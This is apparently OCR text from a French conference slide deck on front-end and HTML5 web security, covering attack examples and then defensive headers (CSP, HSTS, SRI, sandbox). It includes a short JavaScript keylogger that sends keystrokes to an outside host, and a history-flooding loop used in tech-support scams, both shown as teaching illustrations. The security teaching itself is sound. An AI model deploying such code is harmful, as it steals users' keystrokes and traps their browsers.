DE NOUVELLES PREOCCUPATIONS

IMLY ET LA SECURITE
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1 _ IDENTIFIER SON ENNEMI

RECONNAITRE UN HACKER






QUIZ : SAVEZ-VOUS RECONNAITRE UN
INDIVIDU DANGEREUX SUR LE WEB ?




DANGEREUX







)

DANGEREUX
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LE PLUS
DANGEREUX






QUE FAIRE ?



Settings Preferences

I Preferences

Workspace Appearance

Experiments Disable paused state overlay

Blackboxing Theme: v Default
Devices R

Panel layout: | auto

Throttling

Shortcuts Enable 3 + 1-9 shortcut to switch panels




_HEIN 7 QUOI ?

QUEL EST LE SUJET DEJA?




A SECURITE DU POINT DE VUE DE
'INTEGRATEUR WEB / DEVELOPPEUR
FRONT-END NOTAMMENT DEPUIS HTMLS

(DONC PAS COTE SERVEUR)



| A SECURITE

BACK-END  FRONI-END

Depend du serveur Depend du navigateur
Patch immediat Patch lent a deployer
Un seul code source Plateformes multiples

Sans Intervention utilisateur L utilisateur est souvent implique



3 _ AVANT / MAINTENANT

LA MUTATION DU WEB




AVANI. ..

1. TRES “STATIQUE”, PEU DE DROITS
ACCORDES PAR LES NAVIGATEURS



2. BEAUCOUP DE PLUGINS NAVIGATEURS (EXTENSIONS)
ONT PRESENTE DES FAILLES

PLUGIN FLASH

Deux exemples encore recents :
WebEx de Cisco
Adobe PDF qui s'installe « tout seul » avec une faille



MAINTENANL...

E WEB EST UNE PLATEFORME
AVEC DES API TRES EVOLUEES

plein de permissions a demander




MAINTENANL...

+ D'UTILISATEURS INEXPERIMENTES
+ D'INTERETS ECONOMIQUES/INFLUENCES
+ DE POSSIBILITES TECHNIQUES




MAINTENANL...

+ DE PRATIOUES A RISQUES - UTILISER UN
FICHIER COMPROMIS SUR UN CDN CAR
BEAUCOUP DE MONDE INCLUT DES RESSOURCES
DEPUIS D'AUTRES SERVEURS QUE LE SIEN -
POLICES, JAVASCRIPT, STYLES, IMAGES, ETC.




N ETFL' X S'IDENTIFIER  AIDE

Page Web non disponible

Impossible de charger la page Web
https://www.netﬂix.com/?esn=NFANDROID1 -

go— '-.:_f,.-—.- ”~ - 1{
3 H B B =

S e -9-..- v
mom ow - &uuid=f4e
WA pour la raison suivante :

net::ERR_INTERNET_DISCONNECTED

MEME POUR LES
APPLICATIONS NATIVES/
HYBRIDES LE WEB EST

UN POINT D’ENTREE




4 _ AIE AIE AIE

RISQUES
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VOLIINTERCEPTlON DE DONNEES
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VOL DE DONNEES
 PRIVEES




Les donnees personnelles de

800 000 propriétaires d ours en
peluche connectés accessibles sur
Internet

E-mails, mots de passe et messages personnels auraient eté hackes par
plusieurs personnes.
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KEYLOGGER




var keys = '';

document.onkeypress = function(e) {
var get = window.event?event:e;
var key = get.keyCode?get.keyCode:get.charCode;
keys += String.fromCharCode(key);

}

window.setInterval(function(){
new Image().src = 'http://keylogger.net/log.php?c="+keys;
keys = '';
}, 1000);




AUTOFILL

hitps://qithub.com/anttiviljami/
browser-autofill-phishin



https://github.com/anttiviljami/browser-autofill-phishing
https://github.com/anttiviljami/browser-autofill-phishing

& & [ Browser Autofill Phishing X Rodolphe Pro

C | @ Sécurisé https://anttiviliami.github.io/browser-autofill-.. e | § [l rodolphe —root@chous jvarviw/himi6 el

Every 0.5s: cat log.txt

Name Array
Alsacreations (
. [name] => Alsacreations

Email [email] => contact@®alsacreations.fr

contact@alsacreations.f [phone] => 954965050
[organization] => ALSACREATIONS

Submit ‘address] => 10 Place du Temple Neuf
postal] => 67000

[city] => Strasbourg

[ w E Elements Console Sources Network » : X [country] => FR
[cc_number] =>
Q V¥ top v 8 Preserve log [cc_month] => 01
| [cc_year] => 2017
name: A (index) :52 [cc_cvv] =>
name: Al (index) : 52 )
name: Alsacreations (index) :52
email: contact@alsacreations.fr (index) :52
phone: 954965050 (index):52
organization: ALSACREATIONS (index) :52
address: 10 Place du Temple Neuf (index) :52
postal: 67000 (index) :52

city: Strasbourg (index) :52




PHISHING




O ® /-

< C 0 [ coogle.com

Google.com != google.com



FULLSCREEN




® Chrome File Edit View History Bookmarks Window Users Help - ~ &4 (S (Charged) Thu Apr12 1.00AM Q

800 ¥ Bank of America | Home | “

— C' [ Bank of America Corporation [US] https:// W N

Personal Small Business usinesses & Institutions %5~ About Us

Locations Contactus Help  Enespafiol Search Bank of Amenca

Enter Your Onine |ID
Borrow Invest {35 Protect Plan

® Save this Online ID
Select account location

Know your
balance

Online Banking

Take charge of your money with 24 /7 access |
: .~ to date

Get started Get alerts

Stay up

information for: Select a state - m

BankAmericard Cash Rewards” eBanking or MyAccess? Supporting Small Businesses Locations

As |‘,'_1 l}t‘f\ monre »
expensive, 3% e —— Find the right How can building Enter city, state or ZIP code m

cash back gives o checking account . 3 robots build jobs?

YOou more ‘_,

http.//feross.org/htmls-fullscreen-api-attack/

Supporting COMMumues, tueEnng ue mMUme van payment anncuiuesr TUUTI Privacy o Socurivy

More search oplions



http://feross.org/html5-fullscreen-api-attack/

Karl Yeurl

Beware: these balloons requesting notification
access are legit ONLY if they cross the URL
border. It is spam otherwise.

() www.newsarama.co

(G) www.newsarama.co

ewsarama.com wants to:

‘ Show notifications

newsarama.com wants to:

jsbin.com

‘ Show notifications
sbin.com wants to:

Show notifications

Blc

_— e




@ @ Y cursory hack X ' ¥ cursory hack X W

C Y @ benjaminbenben.com/cursory-hack/

LE CURSEUR PEUT SORTIR
DE LA ZONE DE SECURITE

http.//benjaminbenben.com/cursory-hack/


http://benjaminbenben.com/cursory-hack/

®  ® [ cursory hack x Y cursory hack x £ Paramétres X

C @ Sécurisé https://jameshfisher.github.io/cursory-hack/

~— e

www.google.co.uk . .
Hel Your cognneg(ion to this site is private. 1e paleCk ln the URL bar! Clle the

Detalls

For the oriy T

What's go & 9 from this site, 12 from other sites can change the cursor to an arbitrary image (of size 128px by 128px). This im
viewport!! ovely people. I can convince you that this page is encrypted by putting a padlo
can change ture is, hopetully this page should demonstrate to the-browser-makers-that-be

great idea f ®) Location: Allowed by you & ,
C'EST UNE IMAGE, PAS UNE
Camera: Ask by default O

(p-s. lookir INFORMATION FIABLE DU NAVIGATEUR

K~ t_l Elements Console Sources Network Profiles Timeline Application Security Audits AdBlock

LLASATP4NAACMBMWI 06U LLADATPANAALMBMW ] USU L LADATFA4NAALMBMW ]
@8DIIASATPANAACMBMw]@8DIIASATPANAACMBMwW]@8DIIASATPANAACMB | Styles Computed Event Listeners DOM Breakpoints Prc
MwjB8DIIASATPANAACMBMw]O8DIIASATR4NAACMEMw] O8DIIASATPANIC

S5AP8ACYzSgSevfGQAAAAASUVORKSCYLEFY I I 28] 135 Idnd=<K[d 101 S | FpAgr

Permissions

o — -


https://jameshfisher.github.io/cursory-hack/
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wikipedia sex tape

Web Images Vidéos Cartes Actualités
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HTTP Referer devoile la precedente
page visitee. Ou la page depuis
laquelle une ressource est appelee
(ex : Google Fonts ou tout fichier
JavaScript/CSS mis a disposition en
CDN). Donc le CDN connait toutes les

pages que vous visitez.



Filter B Regex B HidedataURLs Al XHR JS (@55 Img Media Font Doc

Name Headers Preview Response Timing
. styles.1487154761.min.css status: 200
cdn.alsacreations.net/css timing-allow-origin: *

x-frame-options: SAMEORIGIN

css?family=Montserrat:400,700 x-xss-protection: 1; mode=block

fonts.googleapis.com

¥ Request Headers

A Provisional headers are shown
Referer: https://www.alsacreations.com/

User-Agent: Mozilla/5.0 (Macintosh; Intel
924.87 Safari/537.36

. ac.1483563950.css
cdn.alsacreations.net/css/fonts/fontello/css



GEOLOCALISATION
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GEOLOCALISATION

hitps://qithub.com/bennoleslie/



https://github.com/bennoleslie/jsjpegmeta
https://github.com/bennoleslie/jsjpegmeta

HELLO
PI
PRIMES
SIERPI~1
TEST
X86TEST
VIM
NASM
DEBUG
CAL
CLOCK

COM
COM
EXE
COM
COM
ASM
EXE
EXE
COM
COM
COM

CPULEVEL COM

FOO

18 file(s)
3 dir(s)

A:\>type foo

qwer

A:\>type confoo
File not found. - 'confoo'

A:\>

25

77
8,656
63
1,513
5,504
205,718
80,504
20,650
900
8,135
1,586
10

10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12
10-25-12

401,541 bytes
46,080 bytes {1

O NNSNSNSNSNNNNNNS

Acces direct aux fichiers
selectionnes au prealable par

[ utilisateur dans

<Input type="file >

Sl a ete selectionne, c est trop tard.
On sait ou vous etiez et quand, avant
meme d avoir envoye le fichier.
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ldentification d'une personne grace
a des Indices

- purement techniques (navigateur
utilise, adresse IP...)

- de comportement (humain)




Etes-vous unique ?

Oui ! (Vous pouvez étre tracé !)

36.77 % des navigateurs observés sont Chrome, comme le votre.
1.53 % des navigateurs observés sont Chrome 56.0, comme le votre.
13.56 % des navigateurs observés sont installés sur Mac, comme le votre.
4.37 % des navigateurs observeées sont installés sur Mac 10.11, comme le votre.
9.87 % des navigateurs observés sont réglés en "fr", comme le votre.
25.06 % des navigateurs observés sont réglés sur le fuseau horaire UTC+1, comme le votre.

Cependant, |la combinaison de tous les éléments constituant votre empreinte est unique parmi les
. 326266 empreintes déja récoltées.



https://amiunique.org/fp
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On peut toujours deviner quel
navigateur est utilise, meme sans
« User Agent » devoile, en testant

disponibles, prefixes CSS/
# JavaScript).



On peut utiliser HTMLS Canvas en
generant une image avec des
donnees Influencees par le systeme
et en recuperant le hash.



https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability
https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability
https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability

ﬁ UNIQUEMACHINE HOME FINGERPRINT ABOUTUS SOURCECODE PAPER

Get My Fingerprint

By Fingerprinting, you can get the UNIQUE fingerprint of your browser or
computer. It based on the basic browser information, GPU, fonts and so on

Running

Fingerprinting GPU...
LN
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Meme chose pour | APl permettant
de connaitre le niveau de charge de
a batterie.

100 % 1 8/3

12:00 20:00 05:00
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(« ) ShareDrop

P2P file transfer

Donald
10.77.2.257

10.77.2.256

WEBRIC

WwWw.sharedrop.io


http://www.sharedrop.io
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Exploitation et detournement de
ressources :

- reseau et bande passante

- calcul

- botnet

- attaques DDOS

h e
T
e o ) e i
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cton 00 ‘ h(functlt gee s
ion b(b){return thls.ea:: s ON I
cetlleo:ent(sa)(b)};c.VERSIOk 3.3.7 ,c.TRANSITION_

" ). d=d&&d.re lace(/-*(:
")31f(d] | (d=b.attr("href"),d . ..Sho: bs.tab",{
relatedTarget:b[@]}),g=a-Event("Show-D>- b
s.activate(b.closest("1i"),c),this. act}vate( ’
atedTarget:e[0]})})}}}, . prototype.activate=Ffu
e").end().find( ' [data-toggle="tab"]"').attr("a
Width,b.addClass("in")):b.removeClass(“fade™)
attr("aria-expanded”, !10),e&&e() }var g=d.find(’
);g-length&&h2g.one("bsTransitionEnd", f).emul
t; tab. Construct?:'=c, a.fn.tab.noConflict=functi
51_: :;b. data-api”, .' [data-toggle="tab"]"',e ).on(
| s.each(functlon(){var d=a(this),e=d data(
lon(b,d){this.options-= ' ‘
hi s d.extend({}, c.DEFAULT
15)).on( click.bs.affix.dat - .
$"eta-apl’,a.proxy(th

is. checkPosition( )}
. 3C.VE = g
th15.$target.scr'o T e e

this, $element off:

Qui n"a jamais copie-colle un code
rapidement depuis StackOverflow?

On peut injecter un code malicieux
dans une portion de texte copiee,
surtout si cela va dans le terminal.



(Y Life plus Linux: Look before yc %

@& Securisé https://lifepluslinux.blogspot.ca/2017/01/look-before-you-paste-from-website-to.html?m

@, @® > rodolphe — -bash — 120x43

Haha! You gave me access to your computer with sudo!
You probably guessed it hdcking #####SHHAHRBRHHHHARRAER (100%)
Hacking complete.

Malicious code’s color i Use GUI interface using visual basic to track my IP
MacBookPro:~$ 1s -lat B

made un-selectable (thé
SiZes.




I‘lﬂ 4 Tim Berners-Lee &
timberners_lee

The abllity to mess with copy/paste should need
site-wide user permissions, like accessing the
camera. URL injection -> security threat.

Norman Walsh @ndw

Oh, come on! Stop $#@%*-ing with "copy and paste" on your web pages. Don't be
"disabling” it. Don't be adding sh*t to the copied text. FFS.

? A l'origine en anglais

ETS J'AIME

327 488




Utilise pour des arnaques au

| support technique : provoque un
| freeze (bloquage) et noie le

| navigateur sous un faux historique,
~ impossible de revenir en arriére.




window.onload = function() {
var total = "";
for (var i = 9; i < 100000: i++) {
total = total + i.toString();
history.pushState(0, @, total);

S e




“) Microsoft Security Alert X

< X () | ® perfecthosting.co/alert/012345678910111213141516171819202122232425262728293031323334353637383 748495 557585960

ot wf - o i w o i NS - o of NN

"% Windows Task Manager
File Options View Help

CPU Usage History

g o —

=" Microsoft

Microsoft.Inc Warning!System has been infected

Microsoft Identification-Malware infected website visited.Malicious data transferred to system fror Physical Memory (MB) System
Total Handles 17090
access.System Registry files may be changed and can be used for unethical activites. Cached Threads 951

Available Processes 56

Free Up Time 0:02:17:08

Commit (MB) 3834 / 7045
. ) . . . Kernel Memory (MB)
System has been infected by Virus Trojan.worm!055BCCAC9FEC — Personal information (Bank Det Paged

R Monitor...
Cards and Account Password) may be stolen.System IP Address 112.15.16.175 is unmasked and ¢ Nonpaged {§/Resource Monitor
for virus spreading.Microsoft has reported to the connected ISP to implement new firewall. User sh
immediatley to Technical Support 1-844-507-3556 for free system scan.

Processes: 56 CPU Usage: 99% Physical Memory: 96%

Automatically report details of possible security incidents to Microsoft. Privacy policy

1-844-507-3556 Back to safety




« Normalement » Web Storage
(localStorage) est limite a quelques
Mo de stockage par domaine. Et si
on utilise des frames avec X sous-
domaines ?



http://www.filldisk.com/

Task Manager - G
Fill up your hard disk with: x § e Oudinas Ve
€« X | wwwfilldiskcom Processes Performance  App history | Startup | Users | Details | Services
N -] CPU - ;
M sox 2781 Disk 0 (C) M4-CT128M4SSD3
hudad attwe time |
Memory . |
—{ 3.5/7.9GB (44%) | | \ A |
| "l
] Disk 0 (C) | |
63% t
el @ \
Bluetooth 60 seconds
Not connected Disk transfer rate 100 MB /s
& Google Chrome 50 MB/s |
Google Chrome has stopped working |
Windows 15 checking for a solution to the problem..
" \WVETAQE respPonse time ADACIT) 119GB
' E ) 512 ms Formatted: 119 GB
— ~ :
C—— W SLEM Qiss Yes
n | Cancel Nrite speed Page file Yes
[ e Vi S 37.2 MB/S
Stop the madness! DG s Computer - O
File Computer View v
-j - T '. b (ompme' v G Search CLomputer »
: Decusments 4 Hard Disk Drives (1)
o' Music

Pictures
sur L 214 e
¥ S v —r T—

q‘ Homegroup

& Computer
e WINDOWS (C:)
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= ’ EVERCOOKIE

http.//samy.pl/evercookie/
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http://samy.pl/evercookie/

Capture video et audio :
Reconnaitre quelqu un, sa voix
(audio), une langue, des paroles
secretes, un lieu.

Voire faire de l'Eye Iracking en
JavaScript pour mesurer vos
reactions.




WebGazer.Js uses common-webcams that are-already present in laptops



® / {:, Select audio and video sou... * ‘\=.'.=

(- o1 ¥ https://webrtc.github.io/samples/src/content/devices/input-o

Voulez-vous partager votre caméra et votre

microphone avec webrtc.github.io ?
Cameéra a partager :

Cameéra FaceTime HD

Microphone a partager : | <4 PA RTAG E R » ?

Micro intégré

Partager les périphérigues sélectionnés | ~

Get available audio, video sources
mediaDevices.enumerateDevices(
constraint.







MARK ZUCKERBERG |




HEWLO, WELCOME TO OUR HOUSE!

THANKS FOR INVITING US!

I
ALEXA, ORDER TWO
TONS (’)F CREAMED (CORN.

ALEXA, CONFIRM PURCHASE.

WHEN VISITING A NEW HOUSE, ITS
GOOD TO CHECK WHETHER THEY HAVE
AN ALJAYS-ON DEVICE TRANSIMITTING

YOUR CONVERSATIONS SOMEWHERE.

https://xkcd.com/1807/



https://xkcd.com/1807/

o _ QUE FAIRE ?

PISTES ET SOLUTIONS




Compromis entre confort et securite
absolue.




@& Secure https://

Secure connection

Your information (for example, passwords or credit
card numbers) is private when it is sent to this site.
Learn more

&

1E

Cookies
37 In use

Location

Camera

Microphaone
Notifications
JavaScript

Flash

Images

Popups

Background Sync
Automatic Downloads

MIDI devices full control

Site settings

Block (default)

Block (default)

Block (default)

Block (default)

Allow

Block (default)

Allow (default)

Block (default)

Block (default)

Block (default)

Block (default)

SERIOUSLY?






Par exemple autofill, n'est-ce pas ?
Mais peu d utilisateurs le feront.




« Solution » ultime. Par exemple
Battery API qui a éte retire de
Firefox (va2).
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Les navigateurs pourraient etre
Intelligents et renvoyer de fausses
Informations.

« Interroge » trop d'infos sensibles,
# nour brouiller les pistes.

VLN y 4

(deja elabore pour getComputedStyle et liens visites, ou Battery)
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« Cross Origin Resource Sharing »
> Pratique qui definit les autorisations

s d'acces depuis une autre origine.
. Par exemple en AJAX
(XMLhttpRequest).
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En-tete HTTP :

Access—-Control-Allow-0rigin: "x"

Access-Control-Allow-0rigin: https://www.unautredomaine.com




CANVAS

origin-clean = false




& C' | @ localhost/test/canvas.html

ConFoo

Elements Console Sources Network Profiles Timeline > ® 1 .+ X
0 Y top v B Preserve log
VM464:1
<.
> ctx.getImageData(0,10,0,20);
® » Uncaught DOMException: Failed to execute "getlmageData’ on VM466:1

‘CanvasRenderingContext2D’': The canvas has been tainted by cross-origin data.
at <anonymous>:1:5



Toujours verifier L origin(e) des
donnees, [ APl Web Messaging
donne cette Indication, Il « suffit »
de verifier la variable.

Cependant comme il n'y a pas

d obligation de le faire, c est une
.. APlarisque, par defaut.

>
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Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; [secure]




Pousse de plus en plus (recemment
par Chrome/Firefox avec des
avertissements bien visibles)

(0 Not Secure http.badssl.com

Necessaire pour les APl sensibles
(Geolocalisation, Progressive Web Applications)




Tel que presente actuellement, par
defaut ne signifie pas que lidentite
du site est certaine.




& — (C @& Sécurisé https://www.google.ca/search

& C @ OVH SAS [FR] https://www.ovh.com/fr/ss|

Sans et avec EV (Extended Validation)



Le serveur Iindique au navigateur de

== T toujours utiliser HTTPS pour
- Pg%;ﬁf%
LA ‘- dialoguer avec lul, duree definie.

Strict-Transport-Security "max—-age=31536000"




Content-Security-Policy (CSP)
definit ce qui est autorise au lieu de
T tout permettre par defaut.
...~ Surtout si Uon Inclut des ressources
(JavaScript, CSS, Fonts, etc)
provenant d autres domaines.




Content-Security-Policy: script-src 'self' https://api.mondomaine.com

AUTORISE LES SCRIPTS DEPUIS SOI-MEME...
ET UNE AUTRE ORIGINE



D’autres :

X-Content-Type-0Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-0Options: DENY
SAMEORIGIN
ALLOW-FROM https://api.mondomaine. Com




Modifier la quantite d'informations
: - devoilees par L envoi de | en-tete



https://www.w3.org/TR/referrer-policy/
https://www.w3.org/TR/referrer-policy/

Referrer-Policy: no-referrer <= LEMOINSBAVARD™

no-referrer-when-downgrade
origin

origin-when-cross—-origin
same-origin

strict-origin
strict-origin-when-cross—-origin
unsafe-url



Attribut sandbox : desactiver tous
les comportements a risque pour
une page dans une iframe qu one
™ maitrise pas totalement :
cookies, localStorage, popups,

@ . AJAX formulaires, plugins, Pointer
f i'i;i’“"fw{. Lock..
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PIEGE !

<i1frame sandbox="allow-scripts allow-same-origin'></iframe>

EXPLOSIF

permet a l'iframe de supprimer elle-méme sa sandbox



SUBRESOURCE INTEGRITY

sha256-n\VnYalADRTO2P https://www.wd.org/TR/

$ha2s6-t\ViValADRTON



https://www.w3.org/TR/SRI/
https://www.w3.org/TR/SRI/

<script src="https://code.jquery.com/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO02PzUGmuLJ r8BLUSJGIZsDYGmIJLv2b8="
crossorigin="anonymous'></script>

https://www.srihash.org/


https://www.srihash.org/

gha256-hWnYaiADRT02P

$a256-NVGIADRTON




Content-Security-Policy: script-src 'nonce-cOnF001sAw3sOM3cOnNFAO1sAw3sSOM3"

<script nonce="cOnF00@1sAw3sOM3cOnNFAOisAw3sOM3" >
// Code JavaScript inline
</script>



Payment Request API W3

W3C Editor's Draft 06 March 2017

o’

This version:
https://w3c.github.io/browser-payment-api/

Latest published version:
https://www.w3.org/TR/payment-request/

YVoCU Editors prait

Latest editor's draft:
https://w3c.github.io/browser-payment-api/
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Abstract

This specification standardizes an API to allow merchants (i.e.
T\ web sites selling physical or digital goods) to utilize one or more
— payment methods with minimal integration. User agents (e.q.,

RIFS LY, - - AT A ' T 1AT | F Y AR R AAFL LAY T WL e F ars -

PREVOIR DES AP
DEDIEES AU PAIEMENT

https://wdc.qithub.io/browser-
payment-api/


https://w3c.github.io/browser-payment-api/
https://w3c.github.io/browser-payment-api/

Projet « Abacus » de Google.

s Identifier par une confirmation sur
son smartphone, en ayant juste
Indique son e-mail.
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6 _ CONCLUSION

VERDICT



CONCLUSION




CONCLUSION

https://observatory.mozilla.org/



https://observatory.mozilla.org/

CONCLUSION

https://www.owasp.org/index.php/HTML5 Security Cheat Sheet



https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
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Photos : moi + merci a pexels.com, stocksnap.io, gratisography.com (CCOL&
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